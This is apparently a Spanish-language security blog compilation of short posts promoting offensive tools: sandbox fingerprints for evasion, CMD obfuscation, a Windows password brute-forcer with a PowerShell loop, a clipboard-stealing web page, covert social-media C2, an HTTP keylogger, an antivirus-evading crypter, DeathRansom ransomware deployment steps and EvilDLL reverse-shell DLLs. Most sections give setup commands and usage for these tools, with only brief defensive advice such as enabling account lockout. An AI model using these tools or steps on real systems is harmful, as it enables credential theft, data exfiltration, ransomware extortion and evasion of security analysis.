Fingerprints para detectar y evadir sandboxes conocidos

Hoy en día detonar malware en una sandbox es uno de los métodos más usados a la hora de analizar malware, sobretodo cuando tenemos un montón de casos e incidentes cada día y poco tiempo para realizar un reversing/análisis estático en profundidad. Desde un simple triage hasta un análisis más completo del comportamiento, incluso extracciones automáticas de familias de malware conocido (CAPE *guiño* *guiño*): el análisis dinámico automatizado es muy, muy importante. Por eso los rojirrins no dejan de implementar medidas para evadir estos sandboxes, desde la detección de la ejecución en entornos virtuales o medidas de debugging o cualquier medida que pueda dar una pista al artefacto de turno para detener su actividad en el caso de que detecte que está siendo "vigilado".

Precisamente leía recientemente en el blog de Hexacorn una serie de características comunes de algunos sandboxes que pueden ser implementadas en cualquier malware para incrementar sus medidas de bypass, un ejemplo claro de que los azulones deben implementar entornos totalmente aleatorizados si no quieren que sus sistemas de análisis se den de bruces con malware cada vez más sofisticados, la eterna lucha del bien y del mal, el ying y el yang...

JujuBox
  • Usuario: enmascarado en los informes como <USER>, pero SID no lo está: S-1-5-21-364843204-231886559-199882026-1001
  • Versión del sistema operativo: sin licencia y detectable comprobando si es software genuino mediante el API: SLIsGenuineLocal.
  • Desktop incluye Acrobat Reader, Firefox, Google Chrome, Open Office 4.1.6, Steam, contabilidad, eula, mydoc, mypresentation, OpenOffice, party y stats; las extensiones de archivo no se muestran, pero son fáciles de adivinar
  • El filename es un <SHA256 hash> .exe
  • La resolución de la pantalla parece ser baja: ¿800x 600?
  • Solo 4 iconos en la barra de tareas

Técnicas de ofuscación de comandos en la consola de Windows (CMD)

En una APT ejecutar comandos en la consola de windows o CMD es sinónimo de ofuscación. Al hilo de ésto, recogemos varias técnicas para ofuscar comandos que pueden evadir las detecciones más simplistas y que aún en día se utilizan y suelen ser muy efectivas para conseguir evadir muchos sistemas de detección. Hagamos un repaso a las mismas:

Empezamos con lo más fácil o tonto, en CMD no se distingue entre mayúsculas y minúsculas, ping = PINg = PING:


Ahora pasamos a los caracteres especiales comúnmente utilizados para ofuscar comandos:

1. El carácter "^" es el carácter de escape más común en la consola de comandos ya que no afecta a la ejecución. En el entorno cmd, algunos caracteres tienen funciones especiales, como >, >> para redireccionar, | para canalizar otros comandos, &, &&, y || para conectar con más instrucciones. Todos tienen funciones específicas. Si se necesitan mostrar como caracteres, se debe escapar de éstos primero: agregue un carácter de escape ^ antes de cada carácter especial. Por ejemplo: echo ^>, echo ^|, echo ^|^|, echo ^^ y c^m^d.


2. La coma "," y el punto y coma ";" son intercambiables y pueden reemplazar los espacios permitidos en el comando. Los espacios múltiples no afectan la ejecución del comando.


3. Los paréntesis emparejados () también pueden aparecer en los parámetros del comando y no afectarán la ejecución del comando. Los paréntesis indican grupos de subcomandos integrados, que también son interpretados por el intéprete de parámetros.

Crackear la contraseña de cualquier usuario de Windows sin ningún privilegio (cuenta de invitado incluida)

¿Quieres crackear la contraseña del administrador local de Windows con la cuenta de invitado o con otro usuario sin privilegios? Pues resulta que el API LogonUserW por defecto no implementa ningún bloqueo por intentos fallidos de login... consecuencia: Jean-Pierre Lesueur (@DarkCoderSc) nos demuestra con su herramienta win-brute-logon lo fácil que sería obtener por fuerza bruta las credenciales localmente, desde Windows XP hasta la última release de Windows 10 (1909).

Tenéis la herramienta en https://github.com/DarkCoderSc/win-brute-logon que además es multihilo y funciona tanto en 32 como en 64 bits.

Para la PoC al igual que en el repo de JP crearemos un usuario local administrador y otro normal:

C:\>net user pepito password1
Se ha completado el comando correctamente.

C:\>net localgroup administradores pepito /add
Se ha completado el comando correctamente.

C:\>net user fulanito /add
Se ha completado el comando correctamente.

C:\>net user fulanito 123456
Se ha completado el comando correctamente.


Como veis hemos usado dos contraseñas bastante predecibles, ambas incluidas en el diccionario de SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt.

Así que seleccionamos el usuario y el diccionario correspondiente y, si la contraseña no es lo suficientemente robusta, ocurre la magia:



Por defecto, el nombre de dominio es el valor designado por la variable de entorno %USERDOMAIN%, pero se uede especificar otro con la opción -d.

Y si por lo que sea no conoces el nombre de usuario puedes a probar con distintos usuarios con este sencillo Powershell:
$lista = Get-Content listadeusuarios.txt

Foreach ($usuario in $lista){
.\WinBruteLogon.exe -u $usuario -w 10k-most-common.txt
}

Lo sorprendente es que por defecto en Windows no implementa ningún bloqueo, así que es más que recomendable es configurarlo en secpol.msc:


Por supuesto no olvidar también deshabilitar la cuenta de invitado (si es que no la tenéis ya deshabilitada) y usar whitelisting de aplicaciones siempre que sea posible.

Clipboardme o cómo robar el contenido del portapapeles sólo con visitar una página maliciosa

Hasta no hace mucho todos lo navegadores usaban document.execCommand para todas las interacciones de las aplicaciones web con el portapapeles. Sin embargo, este método es síncrono por lo que la experiencia de usuario se veía muchas veces penalizada y por ello (y por otras razones pero por esa sobretodo) se desarrolló y empezó a usar una nueva API asíncrona Async Clipboard API.

Con esta API el texto se puede copiar silenciosa y automáticamente al portapapeles llamando a writeText(), sin solicitar permiso. Ejemplo:
<script>
navigator.clipboard.writeText('Malicious command to be copied');
</script>

Imaginaros qué tan peligroso puede ser que un usuario ejecute un código de portapapeles del tipo: windows+x, una shell reversa y ctrl+v. Y no hace falta ni presionar el enter, sólo un acceso directo...

Luego el texto se puede leer desde el portapapeles (aunque requiere permisos esta vez) llamando a readText(). Lo más sencillo:
<script>
navigator.clipboard.readText().then(clipText =>  document.write(clipText));
</script>

Como sabéis, los usuarios copian habitualmente información confidencial como contraseñas y detalles personales en el portapapeles, que luego puede leer cualquier página...

Pues bien, hoy traemos una herramienta de linux_choice llamada Clipboardme que (seguro lo habéis adivinado) crea una página HTTPS maliciosa para grabar estos "apetitosos" contenidos mediante Async Clipboard API y los envía a la máquina del atacante, en este caso mediante un túnel ngrok.

LARRYCHATTER: comunicaciones con el C&C encubiertas en redes sociales

APT29, al que se le relaciona con el gobierno ruso, es un grupo de los más avanzados y capaces que oculta su actividad comunicándose a través de canales encubiertos de redes sociales como Twitter o GitHub, así como servicios de almacenamiento en la nube, para transmitir comandos y extraer datos de redes comprometidas. Además mantiene un ciclo de desarrollo muy rápido para su malware, alterando rápidamente las herramientas para dificultar la detección, utiliza servidores comprometidos para la comunicación con el C2 e incluso monitoriza la actividad de la red para mantener el control sobre los sistemas.

En 2015, FireEye publicó un informe de HAMMERTOSS, el backdoor de este grupo que añade niveles y niveles de ofuscación y mimetiza sus comunicaciones para asemejarse el comportamiento de los usuarios legítimos y, 5 años después, el mismo inspiro al (creo) indio Upayan Saha para crear su (manteniendo las distancias) homónimo en Python3: LARRYCHATTER, una excelente PoC que demuestra la magia de los C2 sobre canales encubiertos en redes sociales, en este caso a través de Twitter y Dropbox como se muestra en el siguiente diagrama:

Como veis el operador del malware (CommandPost) va publicando en Twitter imágenes esteganográficas que luego el ordenador de la víctima con el implante lee y descifra para ejecutar los comandos pertinentes. Además ambos se mantienen sincronizados mediante el uso de THGA, que es básicamente un generador de cadenas pseudoaleatorio que hace que la predicción del handler del día siguiente sea muy difícil utilizando solo análisis estadístico. Posteriormente, utiliza Dropbox como medio para exfiltrar información.


De esta manera, nada tiene que estar hardcodeado en el lado del implante, lo que aumenta su resistencia a los takedowns de cuenta y garantiza la longevidad del implante en una máquina host.

Demo


Detecciones VT del implante



Proyecto: https://github.com/slaeryan/LARRYCHATTER

Un keylogger "didáctico" que manda las pulsaciones registradas en el equipo de la víctima mediante peticiones HTTP GET

Seguimos viendo código de herramientas para "hacer el mal" y hoy os traemos un keylogger muy sencillito de Hakan İlbiz que tiene la particularidad de enviar las pulsaciones de teclado mediante peticiones HTTP GET, de una manera algo tosca pero que nos podría servir para exfiltrar información (y sobretodo una buena manera de aprender código).


El proyecto acaba de empezar y sus características actuales son:
  • Escrito en C con llamadas al API Win32
  • Edición del registro para persistencia
  • Creación de peticiones HTTP para exfiltrar datos
  • Baja tasa de detección (7/71) en virustotal
  • Detección de pulsaciones de minúsculas
Para empezar a usarlo primero hay que modificar la IP en el archivo "connect.h" en la línea #define SERVER_IP "192.168.114.128", que es la ip a la que la herramienta intentará conectarse por HTTP para enviar las pulsaciones. Luego simplemente compilar mediante Visual Studio C++ (keylogoverhttp.sln).


Proyecto: https://github.com/pioneerhfy/keylogoverhttp

Crypter en python3

Siguiendo con Python hoy os traigo un interesante y didáctico Crypter escrito en versión 3 por el indio Pushpender. Esta herramienta nos valdrá para ofuscar (base64 x2) y cifrar (AES256) el código fuente de Python para bypassear el antivirus. Además también es capaz de detectar VM como VirtualBox, VMware o Sandboxie mediante tres métodos principales: comprobando el registro, procesos y archivos y la dirección MAC.

Probado en Kali Linux Rolling, Windows 8.1 - Pro y Windows 7 - Ultimate requiere Python 3.X y el módulo Pycryptodome:

$ pip install pycryptodome
        o       
$ python -m pip install pycryptodome

$ git clone https://github.com/Technowlogy-Pushpender/crypter.git && cd crypter

$ python3 Crypter.py deathransom.py 

    Cracking Speed on RunTime
    =========================
    With 2 GB RAM & 1 GHz Proceessor 
    --------------------------------    
    Guess Speed: 2000 Numeric Pass/ Seconds

    Password Like : 10000 is cracked in 5 seconds
    So Delay Time In Program Will be 5 seconds
    
    
[?] Enter Numeric Weak Key : 12345
[?] Enter Path of File : deathransom.py
[?] Want to BypassVM (y/n): y

[*] Making Backup ...
[+] Done !

[*] Initaiting Base64 Encryption Process ...
[+] Operation Completed Successfully!


[*] Initiating AES Encryption Process ...
[+] Process Completed Successfully!

DeathRansom: un ransomware escrito en Python con técnicas de evasión

DeathRansom del brasileño ReddyyZ es un ransomware desarrollado en python con fines educativos que implementa algunas sencillas pero interesantes técnicas de evasión. Primero, el script verifica si está en un sandbox, depurador, vm, etc., e intenta bypassearlo. Luego cifra todos los archivos que comienzan con el directorio definido en la línea 60 en deathransom.py. Después descarga el script de solicitud de rescate, deshabilita cmd, taskmanager y las herramientas de registro. Y comienza el contador para eliminar los archivos.

Técnicas bypass
  • Anti-Disassembly: Crea varias variables para intentar dificultar el desensamblado.
  • Anti-Debugger: Comprueba si un depurador está activo utilizando la función ctypes: windll.kernel32.IsDebuggerPresent()
  • Anti-Vm: Comprueba si la mac de la máquina es la misma que la mac vms estándar.
  • Anti-Sandbox:
    •  Sleep-Acceleration: Algunos sandboxes aceleran las funciones de sleep, esta función verifica si no ha ocurrido nada fuera de lo común.
    •  Sandbox en proceso: comprueba si hay un sandbox en los procesos en ejecución
    •  Display-Prompt: Muestra un mensaje, si el usuario interactúa con la ventana emergente, se ejecutará el malware.
    •  Idle-Time: realiza un sleep en un while y luego un proceed. Algunos sandboxes esperan un while y dejan de funcionar, eso intenta evitarlo.
    •  Check-Click: Si el usuario no hace clic la cantidad de veces necesaria, el malware no se ejecutará.
    •  Check-Cursor-Pos: Si el usuario no mueve el mouse un tiempo predeterminado, el malware no se ejecutará.
Instalación
  • Requisitos:
pip install -r requirements.txt
python3 -m pip install PyQt5

  • Claves: Generar las claves, subir la clave pública a pastebin, copiar el enlace en raw y cambiar el site en la línea 7 en deathransom.py python generate_key.py
python generate_key.py
  • Transformar time_script.py y main.py (ubicado en Ransom Request) a exe:
(pyinstaller en python2) pyinstaller --onefile --windowed time_script.py
(pyinstaller en python3) pyinstaller --onefile --windowed main.py
  • Subir los scripts a cualquier servicio de alojamiento de archivos y cambiar los enlaces en las líneas 28 y 31 en deathransom.py
  • Pasar deathransom.py a exe usando pyinstaller en la versión python2 y enjoy!
Edición de petición de rescate

Para editar el mensaje de petición de rescate, es necesario instalar PySide2. Abrir el archivo main.ui y editar lo que se quiera.

Demo


Proyecto: https://github.com/ReddyyZ/DeathRansom

Android Hacking 101 - Introducción

Hola, mis buenos amigos de Hackplayers, su amigo stux de nuevo por estos lares solo que esta vez no será ninguna máquina boot2root, en esta ocasión vengo aportar un pequeño post sobre algo que es muy de moda y que me gusta mucho, me refiero a lo que es el hacking de aplicaciones móviles en este caso orientado en android.

Es común encontrar aplicaciones móviles cuando estamos llevando a cabo una auditoría de seguridad o haciendo programas de recompensas por errores, así que decidí crear este pequeño post donde veremos unos conceptos básicos que debemos tener en cuenta antes de poder iniciar a reventar cosas, no comais ansias.

Las aplicaciones Android se dividen ampliamente en tres tipos en función de cómo se desarrollan:

    1. Nativas
    2. Hibridas
    3. Aplicaciones basadas en web

Nativas: Son aquellas aplicaciones desarrolladas única y exclusivamente para sistemas operativos móviles, ya sea Android o IOS. En Android se utiliza el lenguaje de programación Java o kotlin, mientras que en IOS se hace uso de Swift o Objective-C. Estos lenguajes de programación son los oficiales de los respectivos sistemas operativos.

Híbridas: Estas aplicaciones utilizan tecnologías como HTML, CSS y JavaScript, todas ellas vinculadas y procesadas a través de frameworks como Apache Córdova, Ionic, entre otras.

Web: Una aplicación web móvil, es exactamente lo que dice que es, una aplicación desarrollada con tecnologías web como JavaScript o HTML5 para proporcionar capacidades de interacción, navegación o personalización. Se ejecutan en el explorador web de un dispositivo móvil y se representan solicitando páginas web desde el servidor back-end.

Estructura fundamental de las aplicaciones Android

Cada aplicación que descargamos e instalamos desde Play Store o cualquier otra fuente tiene la extensión .apk. Estos archivos APK son archivos comprimidos, que contienen otros archivos y carpetas que discutiremos en un momento.

Imagen 1. Estructura de una aplicación Android

Creación de DLLs maliciosas para hijacking, fácil, sencillo y para toda la familia

EvilDLL v1.0 de thelinuxchoice es una herramienta bastante útil que nos facilitará la creación de DLLs maliciosas para obtener nuestra shell reversa en caso de que hayamos podido explotar un DLL hijacking. Además tendremos la opción de crear esa shell mediante un reenvío de puertos directo a nuestra máquina o mediante un túnel con ngrok.

Probado en Win7 (7601) y Windows 10 lo único que necesitaremos es el compilador Mingw-w64 (apt-get install mingw-w64) y setear el auhtoken de ngrok previo registro (./ngrok authtoken <YOUR_AUTHTOKEN>).

Después simplemente clonar el repo y ejecutar el script principal de bash:

git clone https://github.com/thelinuxchoice/evildll
cd evildll
bash evildll.sh


Custom:



(Si quieres probarlo rápido: rundll32 rest.dll,dllmain)